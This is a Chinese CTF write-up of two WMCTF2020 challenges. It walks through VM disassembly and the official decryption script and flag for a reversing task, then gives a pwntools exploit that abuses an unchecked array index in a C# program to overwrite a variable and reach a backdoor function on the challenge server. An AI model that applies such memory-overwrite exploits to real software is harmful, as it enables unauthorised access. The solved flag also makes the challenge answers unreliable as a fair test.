WMCTF2020

0x00 前言

最近比赛比较多,又没做出什么题,只能赛后复现一下

这里主要水一篇记录两道题WMare(re)和mengyedekending(pwn)

0x01 WMare

好一个虚拟机!这道题断断续续看了两三天…首先感谢我炜哥的耐心指导,从程序都不会启动到摸清整个程序的脉络,全靠炜哥一把屎一把尿….

咳咳进入正题


0x02 传送门

炜哥博客里记录的很详细,从启动到手撕一气呵成/滑稽脸,我就不再赘述了。

点击传送门直接开启新世界。


0x03 遇到的问题

我只简单地记录一下我在调试时遇到的问题。

从一开始找到WELCOME TO WMCTF! INPUT:以及输入函数都没太大问题,关键还是在于最后的校验函数。

我先拷一下校验的汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
0000000000006000: (                   ): jmp .+0 (0x00006002)      ; eb00
0000000000006002: ( ): xor ecx, ecx ; 31c9
0000000000006004: ( ): cmp ecx, 0x00000081 ; 81f981000000
000000000000600a: ( ): jz .+226 (0x000060f2) ; 0f84e2000000
0000000000006010: ( ): xor esi, esi ; 31f6
0000000000006012: ( ): cmp esi, 0x00000009 ; 83fe09
0000000000006015: ( ): jz .+209 (0x000060ec) ; 0f84d1000000
000000000000601b: ( ): xor edx, edx ; 31d2
000000000000601d: ( ): mov eax, esi ; 89f0
000000000000601f: ( ): inc eax ; 40
0000000000006020: ( ): mov ebx, 0x00000009 ; bb09000000
0000000000006025: ( ): div eax, ebx ; f7f3
0000000000006027: ( ): mov edi, edx ; 89d7
0000000000006029: ( ): xor edx, edx ; 31d2
000000000000602b: ( ): mov eax, ecx ; 89c8
000000000000602d: ( ): mov ebx, 0x00000003 ; bb03000000
0000000000006032: ( ): div eax, ebx ; f7f3
0000000000006034: ( ): jz .+5 (0x0000603b) ; 7405
0000000000006036: ( ): jnz .+3 (0x0000603b) ; 7503
0000000000006038: ( ): ret 0x0099 ; c29900
000000000000603b: ( ): cmp edx, 0x00000000 ; 83fa00
000000000000603e: ( ): jz .+7 (0x00006047) ; 7407
0000000000006040: ( ): cmp edx, 0x00000001 ; 83fa01
0000000000006043: ( ): jz .+56 (0x0000607d) ; 7438
0000000000006045: ( ): jnz .+108 (0x000060b3) ; 756c
0000000000006047: ( ): shl esi, 0x02 ; c1e602
000000000000604a: ( ): mov eax, dword ptr ds:[esi] ; 3e8b06
000000000000604d: ( ): shl edi, 0x02 ; c1e702
0000000000006050: ( ): mov ebx, dword ptr ds:[edi] ; 3e8b1f
0000000000006053: ( ): mov edx, eax ; 89c2
0000000000006055: ( ): mov edi, ebx ; 89df
0000000000006057: ( ): or eax, ebx ; 09d8
0000000000006059: ( ): not edx ; f7d2
000000000000605b: ( ): not edi ; f7d7
000000000000605d: ( ): or edx, edi ; 09fa
000000000000605f: ( ): and eax, edx ; 21d0
0000000000006061: ( ): mov edx, eax ; 89c2
0000000000006063: ( ): mov ebx, 0x24114514 ; bb14451124
0000000000006068: ( ): mov edi, ebx ; 89df
000000000000606a: ( ): not eax ; f7d0
000000000000606c: ( ): not ebx ; f7d3
000000000000606e: ( ): and eax, ebx ; 21d8
0000000000006070: ( ): not eax ; f7d0
0000000000006072: ( ): and edx, edi ; 21fa
0000000000006074: ( ): not edx ; f7d2
0000000000006076: ( ): and eax, edx ; 21d0
0000000000006078: ( ): mov dword ptr ds:[esi], eax ; 3e8906
000000000000607b: ( ): jmp .+102 (0x000060e3) ; eb66
000000000000607d: ( ): shl esi, 0x02 ; c1e602
0000000000006080: ( ): mov eax, dword ptr ds:[esi] ; 3e8b06
0000000000006083: ( ): shl edi, 0x02 ; c1e702
0000000000006086: ( ): mov ebx, dword ptr ds:[edi] ; 3e8b1f
0000000000006089: ( ): mov edx, eax ; 89c2
000000000000608b: ( ): mov edi, ebx ; 89df
000000000000608d: ( ): not eax ; f7d0
000000000000608f: ( ): not ebx ; f7d3
0000000000006091: ( ): and eax, ebx ; 21d8
0000000000006093: ( ): not eax ; f7d0
0000000000006095: ( ): and edx, edi ; 21fa
0000000000006097: ( ): not edx ; f7d2
0000000000006099: ( ): and eax, edx ; 21d0
000000000000609b: ( ): mov edx, eax ; 89c2
000000000000609d: ( ): mov ebx, 0x01919810 ; bb10989101
00000000000060a2: ( ): mov edi, ebx ; 89df
00000000000060a4: ( ): not ebx ; f7d3
00000000000060a6: ( ): and eax, ebx ; 21d8
00000000000060a8: ( ): not edx ; f7d2
00000000000060aa: ( ): and edx, edi ; 21fa
00000000000060ac: ( ): or eax, edx ; 09d0
00000000000060ae: ( ): mov dword ptr ds:[esi], eax ; 3e8906
00000000000060b1: ( ): jmp .+48 (0x000060e3) ; eb30
00000000000060b3: ( ): shl esi, 0x02 ; c1e602
00000000000060b6: ( ): mov eax, dword ptr ds:[esi] ; 3e8b06
00000000000060b9: ( ): shl edi, 0x02 ; c1e702
00000000000060bc: ( ): mov ebx, dword ptr ds:[edi] ; 3e8b1f
00000000000060bf: ( ): mov edx, eax ; 89c2
00000000000060c1: ( ): mov edi, ebx ; 89df
00000000000060c3: ( ): not ebx ; f7d3
00000000000060c5: ( ): and eax, ebx ; 21d8
00000000000060c7: ( ): not edx ; f7d2
00000000000060c9: ( ): and edx, edi ; 21fa
00000000000060cb: ( ): or eax, edx ; 09d0
00000000000060cd: ( ): mov edx, eax ; 89c2
00000000000060cf: ( ): mov ebx, 0x19260817 ; bb17082619
00000000000060d4: ( ): mov edi, ebx ; 89df
00000000000060d6: ( ): or eax, ebx ; 09d8
00000000000060d8: ( ): not edx ; f7d2
00000000000060da: ( ): not edi ; f7d7
00000000000060dc: ( ): or edx, edi ; 09fa
00000000000060de: ( ): and eax, edx ; 21d0
00000000000060e0: ( ): mov dword ptr ds:[esi], eax ; 3e8906
00000000000060e3: ( ): shr esi, 0x02 ; c1ee02
00000000000060e6: ( ): inc esi ; 46
00000000000060e7: ( ): jmp .-218 (0x00006012) ; e926ffffff
00000000000060ec: ( ): inc ecx ; 41
00000000000060ed: ( ): jmp .-238 (0x00006004) ; e912ffffff
00000000000060f2: ( ): xor ecx, ecx ; 31c9
00000000000060f4: ( ): xor edx, edx ; 31d2
00000000000060f6: ( ): cmp ecx, 0x00000012 ; 83f912
00000000000060f9: ( ): jz .+25 (0x00006114) ; 7419
00000000000060fb: ( ): shl ecx, 0x01 ; d1e1
00000000000060fd: ( ): mov ax, word ptr ds:[ecx-19092685] ; 3e668b8133abdcfe
0000000000006105: ( ): mov bx, word ptr ds:[ecx] ; 3e668b19
0000000000006109: ( ): cmp ax, bx ; 6639d8
000000000000610c: ( ): jz .+1 (0x0000610f) ; 7401
000000000000610e: ( ): inc edx ; 42
000000000000610f: ( ): shr ecx, 0x01 ; d1e9
0000000000006111: ( ): inc ecx ; 41
0000000000006112: ( ): jmp .-30 (0x000060f6) ; ebe2
0000000000006114: ( ): cmp edx, 0x00000000 ; 83fa00
0000000000006117: ( ): jnz .+98 (0x0000617b) ; 7562
0000000000006119: ( ): mov byte ptr gs:0x00000320, 0x41 ; 65c6052003000041
0000000000006121: ( ): mov byte ptr gs:0x00000321, 0x02 ; 65c6052103000002
0000000000006129: ( ): mov byte ptr gs:0x00000322, 0x63 ; 65c6052203000063
0000000000006131: ( ): mov byte ptr gs:0x00000323, 0x02 ; 65c6052303000002
0000000000006139: ( ): mov byte ptr gs:0x00000324, 0x63 ; 65c6052403000063
0000000000006141: ( ): mov byte ptr gs:0x00000325, 0x02 ; 65c6052503000002
0000000000006149: ( ): mov byte ptr gs:0x00000326, 0x65 ; 65c6052603000065
0000000000006151: ( ): mov byte ptr gs:0x00000327, 0x02 ; 65c6052703000002
0000000000006159: ( ): mov byte ptr gs:0x00000328, 0x73 ; 65c6052803000073
0000000000006161: ( ): mov byte ptr gs:0x00000329, 0x02 ; 65c605290300000
0000000000006169: ( ): mov byte ptr gs:0x0000032a, 0x73 ; 65c6052a03000073
0000000000006171: ( ): mov byte ptr gs:0x0000032b, 0x02 ; 65c6052b03000002
0000000000006179: ( ): jmp .+64 (0x000061bb) ; eb40
000000000000617b: ( ): mov byte ptr gs:0x00000320, 0x46 ; 65c6052003000046
0000000000006183: ( ): mov byte ptr gs:0x00000321, 0x04 ; 65c6052103000004
000000000000618b: ( ): mov byte ptr gs:0x00000322, 0x61 ; 65c6052203000061
0000000000006193: ( ): mov byte ptr gs:0x00000323, 0x04 ; 65c6052303000004
000000000000619b: ( ): mov byte ptr gs:0x00000324, 0x69 ; 65c6052403000069
00000000000061a3: ( ): mov byte ptr gs:0x00000325, 0x04 ; 65c6052503000004
00000000000061ab: ( ): mov byte ptr gs:0x00000326, 0x6c ; 65c605260300006c
00000000000061b3: ( ): mov byte ptr gs:0x00000327, 0x04 ; 65c6052703000004
00000000000061bb: ( ): jmp .-2 (0x000061bb) ; ebfe

代码很长,

最后的全局段内存处分别是ACCESS和FAIL,即数据校验成功与否。

接着分析上面代码即可,一点一点动调可以摸出大体逻辑:

第一层大循环0x81/3次,内部进行3次小循环(每个循环9次),对数据进行加密

EAX、EBX:用于从内存取数,或者送入内存

ECX: 负责记数,每执行完成一个小循环(9次),inc ecx

ESI、EDI:负责作为段内偏移来寻址,同时esi还用来记录小循环内部的循环次数

由于炜哥博客很详细,所以我只提一下一个困惑我很长时间的内容——取内存的问题

主要看这两条指令:

1
2
mov eax, dword ptr ds:[esi]
mov ebx, dword ptr ds:[edi]

esi,edi的值决定着ds段基址的偏移,

image-20200805144842040

通过动调可以发现ebx总是取到的eax后四个字节的数据,但是di到了0x20之后会被重新归零

所以可以看出ds段数据的地址范围是0x00-0x20,即36个字节,正好与flag的字节数一致。

继续动调在关键的几个指令处你会发现

也就是说对于每一次加密,加密后的数据会覆盖到原本数据的位置。

如:原数据:1,2,3,4,5

  第一次:取出1,2进行加密,加密得3,则覆盖到原本1的位置,现在的内存为3,2,3,4,5

  第二次:再取出2,3进行加密,加密得5,则内存变为:3,5,3,4,5

  以此类推,加密0x81×9次

现在搞懂了加密规则,再来看校验的步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
00000000000060f2: (): xor ecx, ecx             
00000000000060f4: (): xor edx, edx
00000000000060f6: (): cmp ecx, 0x00000012 //循环0x12次,即十进制18次
00000000000060f9: (): jz .+25 (0x00006114) //如果满0x12次,直接跳转判断edx的值
00000000000060fb: (): shl ecx, 0x01 //ecx左移一位,相当于乘2
00000000000060fd: (): mov ax, word ptr ds:[ecx-19092685]//取校验数据,低16位放入ax
0000000000006105: ( ): mov bx, word ptr ds:[ecx]//内存处取加密过的数据,低16位放入bx
0000000000006109: (): cmp ax, bx //比较,如果不相等edx+1
000000000000610c: (): jz .+1 (0x0000610f)
000000000000610e: (): inc edx
000000000000610f: (): shr ecx, 0x01 //ecx右移1位,相当于除以2
0000000000006111: (): inc ecx //ecx加1
0000000000006112: (): jmp .-30 (0x000060f6) //跳转比较ecx和0x12的大小
0000000000006114: (): cmp edx, 0x00000000 //如果edx不等于0,则失败
0000000000006117: (): jnz .+98 (0x0000617b)

在0x0006109处下断点,然后动调一下观察ecx如何变化

可以看到每次取数据时,ecx偏移加2

一开始由于ax和eax等寄存器的误导,实在没想通这一块代码

现在知道两者差别后终于搞懂了….

加密时,一次取4个字节,循环9次,即36个字节,内存区域ds:[0x0]-ds:[0x20]。

校验时,一次取2个字节,循环18次,也是36个字节,内存区域相同。

所以,全部明白之后,题目就迎刃而解了。

至于加密方法是三个数据异或,这是我没有想到的…

放上上官方exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
enc_flag = [0xec5574d8,0x421a04b5,0x2ba6d11,0x8105055f,0xeda06c28,0x6ae00499,0x18a955e7,0x71d63591,0x4537a864]
for n in range(128,-1,-1): #129轮逻辑运算
for i in range(8,-1,-1): #臭死力
if (n%3 == 0):
enc_flag[i] = enc_flag[i]^enc_flag[(i+1)%9]^0x24114514
elif(n%3 == 1):
enc_flag[i] = enc_flag[i]^enc_flag[(i+1)%9]^0x1919810
elif(n%3 == 2):
enc_flag[i] = enc_flag[i]^enc_flag[(i+1)%9]^0x19260817
group = [None] * (len(enc_flag) * 4) #36字节
for i in range(9):
for n in range(4):
group[i*4+n] = (enc_flag[i]>>(8*n))&0xff
for i in range(len(group)):#凯撒解密
group[i] = (group[i] - 0x55)%0x100

flag = [None] * len(group)
for i in range(6):#行列密码解密
for n in range(6):
flag[i*6+n] = group[n*6+i]
key_board_mapping = {0x2:'1',0x3:'2',0x4:'3',0x5:'4',0x6:'5',0x7:'6',0x8:'7',0x9:'8',0xa:'9',0xb:'0',0xc:'_',0xd:'+',0x10:'q',0x11:'w',0x12:'e',0x13:'r',0x14:'t',0x15:'y',0x16:'u',0x17:'i',0x18:'o',0x19:'p',0x1a:'{',0x1b:'}',0x1e:'a',0x1f:'s',0x20:'d',0x21:'f',0x22:'g',0x23:'h',0x24:'j',0x25:'k',0x26:'l',0x2c:'z',0x2d:'x',0x2e:'c',0x2f:'v',0x30:'b',0x31:'n',0x32:'m',0x39:' ',}
for i in range(len(flag)):#键盘映射回去
if flag[i]>0x39:
flag[i] -= 0x30
flag[i] = key_board_mapping[flag[i]].upper()
else:
flag[i] = key_board_mapping[flag[i]]
for i in flag:
print(i,end = '')

#WMCTF{D0_Y0u_kn0w_th3_Pr0t3ct3dM0d3}
#也可以解出数后按照数组手动还原

0x04 mengyedekending

一道windows pwn,用C#写的,第一次做,代码好不容易才看懂,太菜了太菜了…

拿过题来是这些东西

用IDA打开baby_Cat.exe很乱找不到有用的函数,但有很多类似的字符串信息

可以猜测出这个exe实际上是在加载dll,程序主要的逻辑就在加载的dll中执行。

所以找到一个baby_Cat.dll,然后反编译,IDA做不到,使用dnspy,找到主函数,分析代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
private unsafe static void Main(string[] args)
{
char* ptr = stackalloc char[(UIntPtr)100]; //开辟100大小的空间
int num = 1;
int* ptr2 = (int*)(ptr + 50); // ptr2指向ptr偏移50的位置
Program @object = new Program();
Program.MsgHandler msgHandler = new Program.MsgHandler(@object.Right);
Program.MsgHandler msgHandler2 = new Program.MsgHandler(@object.Backdoor);// backdoor
Console.WriteLine("This is a gift for you : {0:x4}", &num);//输出num的地址
Console.WriteLine("What do you want me to repeat?");
ptr2[1] = 0; //记录输入的字符个数
ptr2[2] = ptr; //指向ptr
*ptr2 = 0; //即ptr[50] = 0
while (ptr2[1] < 53)
{
char c = (char)Console.Read(); //读入字符
bool flag = c == '\n'; //若换行符则跳出
if (flag)
{
break;
}
bool flag2 = c == '\r';//若不是回车则进入循环
if (!flag2)
{
ptr[*ptr2] = c;//将字符写入
ptr2[1]++;
}
(*ptr2)++;//偏移量+1
}
Console.WriteLine("Do you want to change your input?");
char c2 = (char)Console.Read();
bool flag3 = c2 == 'N' || c2 == 'n';
if (flag3)
{
msgHandler(ptr);
}
else
{
Console.WriteLine("Please tell me a offset!");
char* ptr3 = ptr2[2];
Console.ReadLine();
int num2 = Console.Read();
for (int i = 0; i < num2; i++)
{
char* ptr4 = ptr3 + i;
*ptr4 -= '\u0001'; //对内存的数—1
}
bool flag4 = num == 1;
if (flag4)
{
msgHandler(ptr);
}
else
{
msgHandler2(ptr); //后门函数
}
}
}

后门函数长这样:

分析完毕,目标就是令num==0,绕过去执行这个后门函数

程序关键点在这:

ptr[*ptr2]存放着我们的输入c,而*ptr2指向了ptr+50的位置,这个位置的值初始化为0,也就是说,我们的输入放在ptr[0]的位置,接着*ptr2++,使得输入逐渐后移。(啊!万恶的指针)

而程序没有对数组边界进行检查,所以存在数组越界漏洞

目标也很清楚了,由于程序第一个输出告诉了我们num的地址,那么我们只要找到num和输入的偏移,更改*ptr2的值,使其指向&num-1的位置,下一次就可以覆盖到num==0了,进而执行backdoor

dnspy动态调试,

所以可以计算偏移量:(0x02CFF000-0x02CFEF29)/2 = 0x6B (C#使用的宽字节)

因此覆盖ptr[50] ==0x6b,下一次覆盖num==’\x00’

0x05 exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = remote('111.73.46.229', 51000)
context.log_level = 'debug'
payload = "A" * 50 + chr(0x6b) + '\x00'
p.sendline(payload)
p.recv()
p.sendline('y')
p.recv()
p.sendline('1 hail ld1ng!')#动调发现当首字符ascii<83时有效,原因在于最后的循环
#p.sendline('\x00')#或者 send 0 直接跳出最后一个循环
p.interactive()

成功~

0x06 小结

WMware的出题人是魔鬼,我复现了一遍才体会到了炜哥的艰辛,tql

全程考察汇编能力,好多都是微机原理学过的内容(全忘干净了),

趁此机会复习一下吧。

不过看大神们说可以用IDA?我的IDA可能有自己的想法,还是算了吧…

mengyedekending看上去不难,这题比赛有35解

但是第一次做这种类型的题还是很难受的,特别是指针的问题,在pwn中是重点,必须好好掌握

呜呜呜这次比赛还是有收获的,噶油!